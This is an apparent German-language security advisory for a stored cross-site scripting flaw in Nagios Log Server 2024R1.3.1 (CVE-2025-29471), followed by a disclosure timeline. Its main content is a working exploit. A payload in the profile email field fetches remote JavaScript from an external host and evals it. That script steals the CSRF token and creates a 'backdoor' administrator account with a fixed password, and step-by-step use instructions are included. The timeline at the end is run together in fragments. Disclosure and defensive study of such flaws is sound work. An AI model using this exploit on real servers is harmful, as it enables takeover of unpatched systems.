
Gespeichertes XSS in Nagios Log Server 2024R1.3.1
2024R1.3.1 und früherNagios Log Server 2024R1.3.1 (Standardkonfiguration, Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:HNur für autorisierte Tests und Forschungszwecke. Testen oder nutzen Sie diese Sicherheitslücke nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
Eine gespeicherte XSS-Sicherheitslücke in Nagios Log Server 2024R1.3.1 ermöglicht es einem Benutzer mit niedrigen Berechtigungen, bösartiges JavaScript in das Feld „email“ seines Profils einzuschleusen.
Wenn ein Administrator die Audit-Protokolle anzeigt, wird die Payload ausgeführt, was zu einer Rechteausweitung durch die unbefugte Erstellung eines Administratorkontos führt.
1.Hosten Sie die xss.js-Payload mit dem folgenden Inhalt auf Ihrem externen Server. Github funktioniert einwandfrei.
Aktualisieren Sie <target-ip> auf die IP/den Hostnamen des Nagios-Log-Server-Ziels.
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
Melden Sie sich als Standardbenutzer (kein Administrator) bei Nagios Log Server an.
Navigieren Sie zum Profilaktualisierungs-Endpunkt:
http://<target-ip>/nagioslogserver/profile/update
Fügen Sie die folgende Payload in das E-Mail-Feld ein. Aktualisieren Sie die fetch-Zeile mit der URL, unter der xss.js gespeichert ist.
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Benutzername: backdoor
Passwort: Password123!
backdoor mit vollem Administratorzugriff bei Nagios Log Server an.Nagios Log Server 2024R2Nagios Log Server 2024R2 die gespeicherte XSS-Sicherheitslücke behebt, und informierte NagiosCVE-2025-29471 für diese gespeicherte XSS-Sicherheitslücke, aber die Details blieben unveröffentlicht, da kein öffentliches Sicherheitsbulletin des Herstellers vorlag2024R1.3.2) und portiert den Fix für die gespeicherte XSS-Sicherheitslücke zurück auf den 2024R1-ZweigCVE-2025-29471 wurde offiziell veröffentlichtDiese Arbeit wurde außerhalb meines Arbeitsverhältnisses durchgeführt und spiegelt meine persönlichen Bemühungen in der Cybersicherheitsforschung wider.